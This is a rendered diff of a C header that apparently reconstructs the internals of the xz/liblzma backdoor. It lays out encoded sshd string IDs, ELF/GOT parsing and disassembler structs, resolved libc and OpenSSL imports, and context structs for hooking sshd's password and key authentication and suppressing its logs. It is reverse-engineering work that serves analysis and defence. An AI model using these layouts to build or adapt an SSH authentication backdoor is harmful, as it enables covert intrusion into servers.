470  STR_TERM = 0x4a8,
+
471  STR_Unrecognized_internal_syslog_level_code_d = 0xe0,
+
472  STR_WAYLAND_DISPLAY = 0x158,
+
473  STR_errno_location = 0x878,
+
474  STR_libc_stack_end = 0x2b0,
+
475  STR_libc_start_main = 0x228,
+
476  STR_dl_audit_preinit = 0xa60,
+
477  STR_dl_audit_symbind_alt = 0x9c8,
+
478  STR_exit = 0x8a8,
+
479  STR_r_debug = 0x5b0,
+
480  STR_rtld_global = 0x5b8,
+
481  STR_rtld_global_ro = 0xa98,
+
482  STR_auth_root_allowed = 0xb8,
+
483  STR_authenticating = 0x1d8,
+
484  STR_demote_sensitive_data = 0x28,
+
485  STR_getuid = 0x348,
+
486  STR_ld_linux_x86_64_so = 0xa48,
+
487  STR_libc_so = 0x7d0,
+
488  STR_libcrypto_so = 0x7c0,
+
489  STR_liblzma_so = 0x590,
+
490  STR_libsystemd_so = 0x938,
+
491  STR_list_hostkey_types = 0x20,
+
492  STR_malloc_usable_size = 0x440,
+
493  STR_mm_answer_authpassword = 0xc0,
+
494  STR_mm_answer_keyallowed = 0xc8,
+
495  STR_mm_answer_keyverify = 0xd0,
+
496  STR_mm_answer_pam_start = 0x948,
+
497  STR_mm_choose_dh = 0x78,
+
498  STR_mm_do_pam_account = 0x40,
+
499  STR_mm_getpwnamallow = 0x50,
+
500  STR_mm_log_handler = 0xa8,
+
501  STR_mm_pty_allocate = 0x38,
+
502  STR_mm_request_send = 0xa0,
+
503  STR_mm_session_pty_cleanup2 = 0x48,
+
504  STR_mm_sshpam_free_ctx = 0x70,
+
505  STR_mm_sshpam_init_ctx = 0x58,
+
506  STR_mm_sshpam_query = 0x60,
+
507  STR_mm_sshpam_respond = 0x68,
+
508  STR_mm_terminate = 0x30,
+
509  STR_parse_PAM = 0xc58,
+
510  STR_password = 0x400,
+
511  STR_preauth = 0x4f0,
+
512  STR_pselect = 0x690,
+
513  STR_publickey = 0x7b8,
+
514  STR_read = 0x308,
+
515  STR_rsa_sha2_256 = 0x710,
+
516  STR_setlogmask = 0x428,
+
517  STR_setresgid = 0x5f0,
+
518  STR_setresuid = 0xab8,
+
519  STR_shutdown = 0x760,
+
520  STR_ssh_2_0 = 0xd08,
+
521  STR_ssh_rsa_cert_v01_openssh_com = 0x2c8,
+
522  STR_sshpam_auth_passwd = 0x88,
+
523  STR_sshpam_query = 0x90,
+
524  STR_sshpam_respond = 0x80,
+
525  STR_start_pam = 0x98,
+
526  STR_system = 0x9f8,
+
527  STR_unknown = 0x198,
+
528  STR_user = 0xb10,
+
529  STR_write = 0x380,
+
530  STR_xcalloc_zero_size = 0x10,
+
531  STR_yolAbejyiejuvnupEvjtgvsh5okmkAvj = 0xb00,
+
532  STR_ELF = 0x300,
+
533 } EncodedStringId;
+
534 
+
535 #ifndef XZRE_SLIM
+
536 #define assert_offset(t, f, o) static_assert(offsetof(t, f) == o)
+
537 #else
+
538 #define assert_offset(t, f, o)
+
539 #endif
+
540 
+
541 #define CONCAT(x, y) x ## y
+
542 #define EXPAND(x, y) CONCAT(x, y)
+
543 #define PADDING(size) u8 EXPAND(_unknown, __LINE__)[size]
+
544 
+
545 struct sshbuf;
+
546 struct kex;
+
547 
+
548 /* permit_root_login */
+
549 #define PERMIT_NOT_SET -1
+
550 #define PERMIT_NO 0
+
551 #define PERMIT_FORCED_ONLY 1
+
552 #define PERMIT_NO_PASSWD 2
+
553 #define PERMIT_YES 3
+
554 
+
558 struct monitor {
+
559  int m_recvfd;
+
560  int m_sendfd;
+
561  int m_log_recvfd;
+
562  int m_log_sendfd;
+
563  struct kex **m_pkex;
+
564  pid_t m_pid;
+
565 };
+
566 
+
570 struct sensitive_data {
+
571  struct sshkey **host_keys; /* all private host keys */
+
572  struct sshkey **host_pubkeys; /* all public host keys */
+
573  struct sshkey **host_certificates; /* all public host certificates */
+
574  int have_ssh2_key;
+
575 };
+
576 
+
581 struct sshkey {
+
582  int type;
+
583  int flags;
+
584  /* KEY_RSA */
+
585  RSA *rsa;
+
586  /* KEY_DSA */
+
587  DSA *dsa;
+
588  /* KEY_ECDSA and KEY_ECDSA_SK */
+
589  int ecdsa_nid; /* NID of curve */
+
590  EC_KEY *ecdsa;
+
591  /* KEY_ED25519 and KEY_ED25519_SK */
+
592  u8 *ed25519_sk;
+
593  u8 *ed25519_pk;
+
594  /* KEY_XMSS */
+
595  char *xmss_name;
+
596  char *xmss_filename; /* for state file updates */
+
597  void *xmss_state; /* depends on xmss_name, opaque */
+
598  u8 *xmss_sk;
+
599  u8 *xmss_pk;
+
600  /* KEY_ECDSA_SK and KEY_ED25519_SK */
+
601  char sk_application;
+
602  u8 sk_flags;
+
603  struct sshbuf *sk_key_handle;
+
604  struct sshbuf *sk_reserved;
+
605  /* Certificates */
+
606  struct sshkey_cert *cert;
+
607  /* Private key shielding */
+
608  u8 *shielded_private;
+
609  size_t shielded_len;
+
610  u8 *shield_prekey;
+
611  size_t shield_prekey_len;
+
612 };
+
613 
+
614 typedef struct __attribute__((packed)) got_ctx {
+
618  void *got_ptr;
+
625  void *return_address;
+
629  void *cpuid_fn;
+
634  ptrdiff_t got_offset;
+
635 } got_ctx_t;
+
636 
+
637 assert_offset(got_ctx_t, got_ptr, 0);
+
638 assert_offset(got_ctx_t, return_address, 0x8);
+
639 assert_offset(got_ctx_t, cpuid_fn, 0x10);
+
640 assert_offset(got_ctx_t, got_offset, 0x18);
+
641 static_assert(sizeof(got_ctx_t) == 0x20);
+
642 
+
643 typedef struct __attribute__((packed)) elf_entry_ctx {
+
648  void *symbol_ptr;
+
649  got_ctx_t got_ctx;
+
653  u64 *frame_address;
+
654 } elf_entry_ctx_t;
+
655 
+
656 assert_offset(elf_entry_ctx_t, symbol_ptr, 0);
+
657 assert_offset(elf_entry_ctx_t, got_ctx, 0x8);
+
658 assert_offset(elf_entry_ctx_t, frame_address, 0x28);
+
659 
+
660 typedef struct __attribute__((packed)) dasm_ctx {
+
661  u8* instruction;
+
662  u64 instruction_size;
+
663  union {
+
664  struct __attribute__((packed)) {
+
668  u8 flags;
+
672  u8 flags2;
+
673  PADDING(2);
+
674  u8 lock_rep_byte;
+
675  u8 seg_byte;
+
676  u8 osize_byte;
+
677  u8 asize_byte;
+
678  u8 vex_byte;
+
679  u8 vex_byte2;
+
680  u8 vex_byte3;
+
681  u8 rex_byte;
+
682  union {
+
683  struct __attribute__((packed)) {
+
684  u8 modrm;
+
685  u8 modrm_mod;
+
686  u8 modrm_reg;
+
687  u8 modrm_rm;
+
688  };
+
689  u32 modrm_word;
+
690  };
+
691  };
+
692  u16 flags_u16;
+
693  };
+
694  u8 imm64_reg; // low 3 bits only
+
695  struct __attribute__((packed)) {
+
696  union {
+
697  struct __attribute__((packed)) {
+
698  u8 sib;
+
699  u8 sib_scale;
+
700  u8 sib_index;
+
701  u8 sib_base;
+
702  };
+
703  u32 sib_word;
+
704  };
+
705  };
+
706  PADDING(3);
+
707  u32 opcode;
+
708  PADDING(4);
+
709  u64 mem_disp;
+
710  // e.g. in CALL
+
711  u64 operand;
+
712  u64 operand_zeroextended;
+
713  u64 operand_size;
+
714  u8 insn_offset;
+
715  PADDING(7);
+
716 } dasm_ctx_t;
+
717 
+
718 assert_offset(dasm_ctx_t, instruction, 0);
+
719 assert_offset(dasm_ctx_t, instruction_size, 8);
+
720 assert_offset(dasm_ctx_t, flags, 0x10);
+
721 assert_offset(dasm_ctx_t, flags2, 0x11);
+
722 assert_offset(dasm_ctx_t, lock_rep_byte, 0x14);
+
723 assert_offset(dasm_ctx_t, seg_byte, 0x15);
+
724 assert_offset(dasm_ctx_t, osize_byte, 0x16);
+
725 assert_offset(dasm_ctx_t, asize_byte, 0x17);
+
726 assert_offset(dasm_ctx_t, vex_byte, 0x18);
+
727 assert_offset(dasm_ctx_t, vex_byte2, 0x19);
+
728 assert_offset(dasm_ctx_t, vex_byte3, 0x1A);
+
729 assert_offset(dasm_ctx_t, rex_byte, 0x1B);
+
730 assert_offset(dasm_ctx_t, modrm, 0x1C);
+
731 assert_offset(dasm_ctx_t, modrm_mod, 0x1D);
+
732 assert_offset(dasm_ctx_t, modrm_reg, 0x1E);
+
733 assert_offset(dasm_ctx_t, modrm_rm, 0x1F);
+
734 assert_offset(dasm_ctx_t, imm64_reg, 0x20);
+
735 assert_offset(dasm_ctx_t, sib, 0x21);
+
736 assert_offset(dasm_ctx_t, sib_scale, 0x22);
+
737 assert_offset(dasm_ctx_t, sib_index, 0x23);
+
738 assert_offset(dasm_ctx_t, sib_base, 0x24);
+
739 assert_offset(dasm_ctx_t, opcode, 0x28);
+
740 assert_offset(dasm_ctx_t, mem_disp, 0x30);
+
741 assert_offset(dasm_ctx_t, operand, 0x38);
+
742 assert_offset(dasm_ctx_t, operand_zeroextended, 0x40);
+
743 assert_offset(dasm_ctx_t, operand_size, 0x48);
+
744 assert_offset(dasm_ctx_t, insn_offset, 0x50);
+
745 static_assert(sizeof(dasm_ctx_t) == 0x58);
+
746 
+
747 typedef struct __attribute__((packed)) elf_info {
+
751  Elf64_Ehdr *elfbase;
+
755  u64 first_vaddr;
+
759  Elf64_Phdr *phdrs;
+
763  u64 e_phnum;
+
767  Elf64_Dyn *dyn;
+
771  u64 dyn_num_entries;
+
775  char *strtab;
+
779  Elf64_Sym *symtab;
+
783  Elf64_Rela *plt_relocs;
+
787  u32 plt_relocs_num;
+
793  BOOL gnurelro_found;
+
797  u64 gnurelro_vaddr;
+
801  u64 gnurelro_memsize;
+
805  Elf64_Verdef *verdef;
+
809  u64 verdef_num;
+
810  Elf64_Versym *versym;
+
811  Elf64_Rela *rela_relocs;
+
812  u32 rela_relocs_num;
+
813  u32 _unused0;
+
814  Elf64_Relr *relr_relocs;
+
815  u32 relr_relocs_num;
+
816  PADDING(4);
+
821  u64 code_segment_start;
+
826  u64 code_segment_size;
+
827 
+
828  u64 rodata_segment_start;
+
829  u64 rodata_segment_size;
+
830  u64 data_segment_start;
+
831  u64 data_segment_size;
+
832  u64 data_segment_alignment;
+
833 
+
834  u8 flags;
+
835  PADDING(7);
+
839  u32 gnu_hash_nbuckets;
+
843  u32 gnu_hash_last_bloom;
+
844  u32 gnu_hash_bloom_shift;
+
845  PADDING(4);
+
846  u64 *gnu_hash_bloom;
+
847  u32 *gnu_hash_buckets;
+
848  u32 *gnu_hash_chain;
+
849 } elf_info_t;
+
850 
+
851 assert_offset(elf_info_t, elfbase, 0x0);
+
852 assert_offset(elf_info_t, first_vaddr, 0x8);
+
853 assert_offset(elf_info_t, phdrs, 0x10);
+
854 assert_offset(elf_info_t, e_phnum, 0x18);
+
855 assert_offset(elf_info_t, dyn, 0x20);
+
856 assert_offset(elf_info_t, dyn_num_entries, 0x28);
+
857 assert_offset(elf_info_t, strtab, 0x30);
+
858 assert_offset(elf_info_t, symtab, 0x38);
+
859 assert_offset(elf_info_t, plt_relocs, 0x40);
+
860 assert_offset(elf_info_t, plt_relocs_num, 0x48);
+
861 assert_offset(elf_info_t, gnurelro_found, 0x4C);
+
862 assert_offset(elf_info_t, gnurelro_vaddr, 0x50);
+
863 assert_offset(elf_info_t, gnurelro_memsize, 0x58);
+
864 assert_offset(elf_info_t, verdef, 0x60);
+
865 assert_offset(elf_info_t, verdef_num, 0x68);
+
866 assert_offset(elf_info_t, versym, 0x70);
+
867 assert_offset(elf_info_t, rela_relocs, 0x78);
+
868 assert_offset(elf_info_t, rela_relocs_num, 0x80);
+
869 assert_offset(elf_info_t, relr_relocs, 0x88);
+
870 assert_offset(elf_info_t, relr_relocs_num, 0x90);
+
871 assert_offset(elf_info_t, code_segment_start, 0x98);
+
872 assert_offset(elf_info_t, code_segment_size, 0xA0);
+
873 assert_offset(elf_info_t, rodata_segment_start, 0xA8);
+
874 assert_offset(elf_info_t, rodata_segment_size, 0xB0);
+
875 assert_offset(elf_info_t, data_segment_start, 0xB8);
+
876 assert_offset(elf_info_t, data_segment_size, 0xC0);
+
877 assert_offset(elf_info_t, data_segment_alignment, 0xC8);
+
878 assert_offset(elf_info_t, flags, 0xD0);
+
879 assert_offset(elf_info_t, gnu_hash_nbuckets, 0xd8);
+
880 assert_offset(elf_info_t, gnu_hash_last_bloom, 0xdc);
+
881 assert_offset(elf_info_t, gnu_hash_bloom_shift, 0xe0);
+
882 assert_offset(elf_info_t, gnu_hash_bloom, 0xe8);
+
883 assert_offset(elf_info_t, gnu_hash_buckets, 0xf0);
+
884 assert_offset(elf_info_t, gnu_hash_chain, 0xf8);
+
885 static_assert(sizeof(elf_info_t) == 0x100);
+
886 
+
887 typedef struct __attribute__((packed)) libc_imports {
+
888  u32 resolved_imports_count;
+
889  PADDING(4);
+
890  size_t (*malloc_usable_size)(void *ptr);
+
891  uid_t (*getuid)(void);
+
892  void (*exit)(int status);
+
893  int (*setresgid)(gid_t rgid, gid_t egid, gid_t sgid);
+
894  int (*setresuid)(uid_t ruid, uid_t euid, uid_t suid);
+
895  int (*system)(const char *command);
+
896  ssize_t (*write)(int fd, const void *buf, size_t count);
+
897  int (*pselect)(
+
898  int nfds, fd_set *readfds, fd_set *writefds,
+
899  fd_set *exceptfds, const struct timespec *timeout,
+
900  const sigset_t *sigmask);
+
901  ssize_t (*read)(int fd, void *buf, size_t count);
+
902  int *(*__errno_location)(void);
+
903  int (*setlogmask)(int mask);
+
904  int (*shutdown)(int sockfd, int how);
+
905  void *__libc_stack_end;
+
906 } libc_imports_t;
+
907 
+
908 assert_offset(libc_imports_t, resolved_imports_count, 0);
+
909 assert_offset(libc_imports_t, malloc_usable_size, 8);
+
910 assert_offset(libc_imports_t, getuid, 0x10);
+
911 assert_offset(libc_imports_t, exit, 0x18);
+
912 assert_offset(libc_imports_t, setresgid, 0x20);
+
913 assert_offset(libc_imports_t, setresuid, 0x28);
+
914 assert_offset(libc_imports_t, system, 0x30);
+
915 assert_offset(libc_imports_t, write, 0x38);
+
916 assert_offset(libc_imports_t, pselect, 0x40);
+
917 assert_offset(libc_imports_t, read, 0x48);
+
918 assert_offset(libc_imports_t, __errno_location, 0x50);
+
919 assert_offset(libc_imports_t, setlogmask, 0x58);
+
920 assert_offset(libc_imports_t, shutdown, 0x60);
+
921 assert_offset(libc_imports_t, __libc_stack_end, 0x68);
+
922 static_assert(sizeof(libc_imports_t) == 0x70);
+
923 
+
924 typedef int (*pfn_RSA_public_decrypt_t)(
+
925  int flen, unsigned char *from, unsigned char *to,
+
926  RSA *rsa, int padding);
+
927 typedef int (*pfn_EVP_PKEY_set1_RSA_t)(EVP_PKEY *pkey, struct rsa_st *key);
+
928 typedef void (*pfn_RSA_get0_key_t)(
+
929  const RSA *r,
+
930  const BIGNUM **n, const BIGNUM **e, const BIGNUM **d);
+
931 
+
932 typedef struct __attribute__((packed)) imported_funcs {
+
933  pfn_RSA_public_decrypt_t RSA_public_decrypt;
+
934  pfn_EVP_PKEY_set1_RSA_t EVP_PKEY_set1_RSA;
+
935  // ???
+
936  void (*RSA_get0_key_null)(
+
937  const RSA *r, const BIGNUM **n,
+
938  const BIGNUM **e, const BIGNUM **d);
+
943  void *RSA_public_decrypt_plt;
+
948  void *EVP_PKEY_set1_RSA_plt;
+
953  void *RSA_get0_key_plt;
+
954  void (*DSA_get0_pqg)(
+
955  const DSA *d, const BIGNUM **p,
+
956  const BIGNUM **q, const BIGNUM **g);
+
957  const BIGNUM *(*DSA_get0_pub_key)(const DSA *d);
+
958  size_t (*EC_POINT_point2oct)(
+
959  const EC_GROUP *group, const EC_POINT *p,
+
960  point_conversion_form_t form, unsigned char *buf,
+
961  size_t len, BN_CTX *ctx);
+
962  EC_POINT *(*EC_KEY_get0_public_key)(const EC_KEY *key);
+
963  const EC_GROUP *(*EC_KEY_get0_group)(const EC_KEY *key);
+
964  EVP_MD *(*EVP_sha256)(void);
+
965  pfn_RSA_get0_key_t RSA_get0_key;
+
966  int (*BN_num_bits)(const BIGNUM *a);
+
967  EVP_PKEY *(*EVP_PKEY_new_raw_public_key)(
+
968  int type, ENGINE *e,
+
969  const unsigned char *key, size_t keylen);
+
970  EVP_MD_CTX *(*EVP_MD_CTX_new)(void);
+
971  int (*EVP_DigestVerifyInit)(
+
972  EVP_MD_CTX *ctx, EVP_PKEY_CTX **pctx,
+
973  const EVP_MD *type, ENGINE *e, EVP_PKEY *pkey);
+
974  int (*EVP_DigestVerify)(
+
975  EVP_MD_CTX *ctx, const unsigned char *sig,
+
976  size_t siglen, const unsigned char *tbs, size_t tbslen);
+
977  void (*EVP_MD_CTX_free)(EVP_MD_CTX *ctx);
+
978  void (*EVP_PKEY_free)(EVP_PKEY *key);
+
979  EVP_CIPHER_CTX *(*EVP_CIPHER_CTX_new)(void);
+
980  int (*EVP_DecryptInit_ex)(
+
981  EVP_CIPHER_CTX *ctx, const EVP_CIPHER *type,
+
982  ENGINE *impl, const unsigned char *key, const unsigned char *iv);
+
983  int (*EVP_DecryptUpdate)(
+
984  EVP_CIPHER_CTX *ctx, unsigned char *out,
+
985  int *outl, const unsigned char *in, int inl);
+
986  int (*EVP_DecryptFinal_ex)(EVP_CIPHER_CTX *ctx, unsigned char *outm, int *outl);
+
987  void (*EVP_CIPHER_CTX_free)(EVP_CIPHER_CTX *ctx);
+
988  const EVP_CIPHER *(*EVP_chacha20)(void);
+
989  RSA *(*RSA_new)(void);
+
990  BIGNUM *(*BN_dup)(const BIGNUM *from);
+
991  BIGNUM *(*BN_bin2bn)(const unsigned char *s, int len, BIGNUM *ret);
+
992  int (*RSA_set0_key)(RSA *r, BIGNUM *n, BIGNUM *e, BIGNUM *d);
+
993  int (*EVP_Digest)(
+
994  const void *data, size_t count, unsigned char *md,
+
995  unsigned int *size, const EVP_MD *type, ENGINE *impl);
+
996  int (*RSA_sign)(
+
997  int type,
+
998  const unsigned char *m, unsigned int m_len,
+
999  unsigned char *sigret, unsigned int *siglen, RSA *rsa);
+
1000  int (*BN_bn2bin)(const BIGNUM *a, unsigned char *to);
+
1001  void (*RSA_free)(RSA *rsa);
+
1002  void (*BN_free)(BIGNUM *a);
+
1003  libc_imports_t *libc;
+
1004  u64 resolved_imports_count;
+
1005 } imported_funcs_t;
+
1006 
+
1007 assert_offset(imported_funcs_t, RSA_public_decrypt, 0);
+
1008 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA, 8);
+
1009 assert_offset(imported_funcs_t, RSA_get0_key_null, 0x10);
+
1010 assert_offset(imported_funcs_t, RSA_public_decrypt_plt, 0x18);
+
1011 assert_offset(imported_funcs_t, EVP_PKEY_set1_RSA_plt, 0x20);
+
1012 assert_offset(imported_funcs_t, RSA_get0_key_plt, 0x28);
+
1013 assert_offset(imported_funcs_t, DSA_get0_pqg, 0x30);
+
1014 assert_offset(imported_funcs_t, DSA_get0_pub_key, 0x38);
+
1015 assert_offset(imported_funcs_t, EC_POINT_point2oct, 0x40);
+
1016 assert_offset(imported_funcs_t, EC_KEY_get0_public_key, 0x48);
+
1017 assert_offset(imported_funcs_t, EC_KEY_get0_group, 0x50);
+
1018 assert_offset(imported_funcs_t, EVP_sha256, 0x58);
+
1019 assert_offset(imported_funcs_t, RSA_get0_key, 0x60);
+
1020 assert_offset(imported_funcs_t, BN_num_bits, 0x68);
+
1021 assert_offset(imported_funcs_t, EVP_PKEY_new_raw_public_key, 0x70);
+
1022 assert_offset(imported_funcs_t, EVP_MD_CTX_new, 0x78);
+
1023 assert_offset(imported_funcs_t, EVP_DigestVerifyInit, 0x80);
+
1024 assert_offset(imported_funcs_t, EVP_DigestVerify, 0x88);
+
1025 assert_offset(imported_funcs_t, EVP_MD_CTX_free, 0x90);
+
1026 assert_offset(imported_funcs_t, EVP_PKEY_free, 0x98);
+
1027 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_new, 0xA0);
+
1028 assert_offset(imported_funcs_t, EVP_DecryptInit_ex, 0xA8);
+
1029 assert_offset(imported_funcs_t, EVP_DecryptUpdate, 0xB0);
+
1030 assert_offset(imported_funcs_t, EVP_DecryptFinal_ex, 0xB8);
+
1031 assert_offset(imported_funcs_t, EVP_CIPHER_CTX_free, 0xC0);
+
1032 assert_offset(imported_funcs_t, EVP_chacha20, 0xC8);
+
1033 assert_offset(imported_funcs_t, RSA_new, 0xD0);
+
1034 assert_offset(imported_funcs_t, BN_dup, 0xD8);
+
1035 assert_offset(imported_funcs_t, BN_bin2bn, 0xE0);
+
1036 assert_offset(imported_funcs_t, RSA_set0_key, 0xE8);
+
1037 assert_offset(imported_funcs_t, EVP_Digest, 0xF0);
+
1038 assert_offset(imported_funcs_t, RSA_sign, 0xF8);
+
1039 assert_offset(imported_funcs_t, BN_bn2bin, 0x100);
+
1040 assert_offset(imported_funcs_t, RSA_free, 0x108);
+
1041 assert_offset(imported_funcs_t, BN_free, 0x110);
+
1042 assert_offset(imported_funcs_t, libc, 0x118);
+
1043 assert_offset(imported_funcs_t, resolved_imports_count, 0x120);
+
1044 static_assert(sizeof(imported_funcs_t) == 0x128);
+
1045 
+
1046 struct ssh;
+
1047 struct sshbuf;
+
1048 
+
1049 typedef int (*sshd_monitor_func_t)(struct ssh *ssh, int sock, struct sshbuf *m);
+
1050 
+
1051 typedef struct __attribute__((packed)) sshd_ctx {
+
1052  BOOL have_mm_answer_keyallowed;
+
1053  BOOL have_mm_answer_authpassword;
+
1054  BOOL have_mm_answer_keyverify;
+
1055  PADDING(0x4);
+
1056  sshd_monitor_func_t mm_answer_authpassword_hook;
+
1057  void *mm_answer_keyallowed;
+
1058  void *mm_answer_keyverify;
+
1059  void *mm_answer_authpassword_start;
+
1060  void *mm_answer_authpassword_end;
+
1061  sshd_monitor_func_t *mm_answer_authpassword_ptr;
+
1062  int monitor_reqtype_authpassword;
+
1063  PADDING(4);
+
1064  void *mm_answer_keyallowed_start;
+
1065  void *mm_answer_keyallowed_end;
+
1066  void *mm_answer_keyallowed_ptr;
+
1067  u32 mm_answer_keyallowed_reqtype;
+
1068  PADDING(4);
+
1069  void *mm_answer_keyverify_start;
+
1070  void *mm_answer_keyverify_end;
+
1071  void *mm_answer_keyverify_ptr;
+
1072  PADDING(0x4);
+
1073  u16 writebuf_size;
+
1074  PADDING(0x2);
+
1075  u8 *writebuf;
1076  PADDING(0x8);
-
1077  char *STR_unknown_ptr;
-
1078  void *mm_request_send_start;
-
1079  void *mm_request_send_end;
-
1080  PADDING(sizeof(u32)); // BOOL?
+
1077  PADDING(0x8);
+
1078  char *STR_unknown_ptr;
+
1079  void *mm_request_send_start;
+
1080  void *mm_request_send_end;
1081  PADDING(sizeof(u32)); // BOOL?
-
1082  int *use_pam_ptr;
-
1083  int *permit_root_login_ptr;
-
1084  char *STR_without_password;
-
1085  char *STR_publickey;
-
1086 } sshd_ctx_t;
-
1087 
-
1088 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
-
1089 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
-
1090 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
-
1091 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
-
1092 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
-
1093 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
-
1094 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
-
1095 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
-
1096 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
-
1097 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
-
1098 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
-
1099 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
-
1100 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
-
1101 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
-
1102 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
-
1103 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
-
1104 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
-
1105 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
-
1106 assert_offset(sshd_ctx_t, writebuf, 0x88);
-
1107 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
-
1108 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
-
1109 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
-
1110 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
-
1111 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
-
1112 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
-
1113 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
-
1114 
-
1115 typedef struct __attribute__((packed)) sshd_log_ctx {
-
1116  PADDING(4);
-
1117  BOOL unkbool_log_handler;
-
1118  BOOL syslog_disabled;
-
1119  PADDING(4);
-
1120  char *STR_percent_s;
-
1121  char *STR_Connection_closed_by;
-
1122  char *STR_preauth;
-
1123  char *STR_authenticating;
-
1124  char *STR_user;
-
1125  PADDING(0x8);
+
1082  PADDING(sizeof(u32)); // BOOL?
+
1083  int *use_pam_ptr;
+
1084  int *permit_root_login_ptr;
+
1085  char *STR_without_password;
+
1086  char *STR_publickey;
+
1087 } sshd_ctx_t;
+
1088 
+
1089 assert_offset(sshd_ctx_t, have_mm_answer_keyallowed, 0x0);
+
1090 assert_offset(sshd_ctx_t, have_mm_answer_authpassword, 0x4);
+
1091 assert_offset(sshd_ctx_t, have_mm_answer_keyverify, 0x8);
+
1092 assert_offset(sshd_ctx_t, mm_answer_authpassword_hook, 0x10);
+
1093 assert_offset(sshd_ctx_t, mm_answer_keyallowed, 0x18);
+
1094 assert_offset(sshd_ctx_t, mm_answer_keyverify, 0x20);
+
1095 assert_offset(sshd_ctx_t, mm_answer_authpassword_start, 0x28);
+
1096 assert_offset(sshd_ctx_t, mm_answer_authpassword_end, 0x30);
+
1097 assert_offset(sshd_ctx_t, mm_answer_authpassword_ptr, 0x38);
+
1098 assert_offset(sshd_ctx_t, monitor_reqtype_authpassword, 0x40);
+
1099 assert_offset(sshd_ctx_t, mm_answer_keyallowed_start, 0x48);
+
1100 assert_offset(sshd_ctx_t, mm_answer_keyallowed_end, 0x50);
+
1101 assert_offset(sshd_ctx_t, mm_answer_keyallowed_ptr, 0x58);
+
1102 assert_offset(sshd_ctx_t, mm_answer_keyallowed_reqtype, 0x60);
+
1103 assert_offset(sshd_ctx_t, mm_answer_keyverify_start, 0x68);
+
1104 assert_offset(sshd_ctx_t, mm_answer_keyverify_end, 0x70);
+
1105 assert_offset(sshd_ctx_t, mm_answer_keyverify_ptr, 0x78);
+
1106 assert_offset(sshd_ctx_t, writebuf_size, 0x84);
+
1107 assert_offset(sshd_ctx_t, writebuf, 0x88);
+
1108 assert_offset(sshd_ctx_t, STR_unknown_ptr, 0xA0);
+
1109 assert_offset(sshd_ctx_t, mm_request_send_start, 0xA8);
+
1110 assert_offset(sshd_ctx_t, mm_request_send_end, 0xB0);
+
1111 assert_offset(sshd_ctx_t, use_pam_ptr, 0xC0);
+
1112 assert_offset(sshd_ctx_t, permit_root_login_ptr, 0xC8);
+
1113 assert_offset(sshd_ctx_t, STR_without_password, 0xD0);
+
1114 assert_offset(sshd_ctx_t, STR_publickey, 0xD8);
+
1115 
+
1116 typedef struct __attribute__((packed)) sshd_log_ctx {
+
1117  PADDING(4);
+
1118  BOOL unkbool_log_handler;
+
1119  BOOL syslog_disabled;
+
1120  PADDING(4);
+
1121  char *STR_percent_s;
+
1122  char *STR_Connection_closed_by;
+
1123  char *STR_preauth;
+
1124  char *STR_authenticating;
+
1125  char *STR_user;
1126  PADDING(0x8);
1127  PADDING(0x8);
1128  PADDING(0x8);
-
1129  void *sshlogv;
-
1130  void (*mm_log_handler)(int level, int forced, const char *msg, void *ctx);
-
1131 } sshd_log_ctx_t;
-
1132 
-
1133 assert_offset(sshd_log_ctx_t, syslog_disabled, 0x8);
-
1134 assert_offset(sshd_log_ctx_t, STR_percent_s, 0x10);
-
1135 assert_offset(sshd_log_ctx_t, STR_Connection_closed_by, 0x18);
-
1136 assert_offset(sshd_log_ctx_t, STR_preauth, 0x20);
-
1137 assert_offset(sshd_log_ctx_t, STR_authenticating, 0x28);
-
1138 assert_offset(sshd_log_ctx_t, STR_user, 0x30);
-
1139 assert_offset(sshd_log_ctx_t, sshlogv, 0x58);
-
1140 assert_offset(sshd_log_ctx_t, mm_log_handler, 0x60);
-
1141 static_assert(sizeof(sshd_log_ctx_t) == 0x68);
-
1142 
-
1143 typedef union __attribute__((packed)) sshd_offsets_kex {
-
1144  struct __attribute__((packed)) {
-
1145  u8 kex_qword_index;
-
1146  u8 pkex_offset;
-
1147  };
-
1148  u16 value;
-
1149 } sshd_offsets_kex_t;
-
1150 
-
1151 typedef union __attribute__((packed)) sshd_offsets_sshbuf {
-
1152  struct __attribute__((packed)) {
-
1153  u8 sshbuf_data_qword_index;
-
1154  u8 sshbuf_size_qword_index;
-
1155  };
-
1156  u16 value;
-
1157 } sshd_offsets_sshbuf_t;
-
1158 
-
1159 typedef struct __attribute__((packed)) sshd_offsets_fields {
-
1160  sshd_offsets_kex_t kex;
-
1161  sshd_offsets_sshbuf_t sshbuf;
-
1162 } sshd_offsets_fields_t;
-
1163 
-
1164 typedef struct __attribute__((packed)) sshd_offsets {
-
1165  union {
-
1166  struct {
-
1167  union {
-
1168  sshd_offsets_fields_t fields;
-
1169  u32 value;
-
1170  };
-
1171  };
-
1172  u32 raw_value;
-
1173  };
-
1174 } sshd_offsets_t;
-
1175 
-
1176 typedef struct __attribute__((packed)) sshd_payload_ctx {
-
1177 } sshd_payload_ctx_t;
-
1178 
-
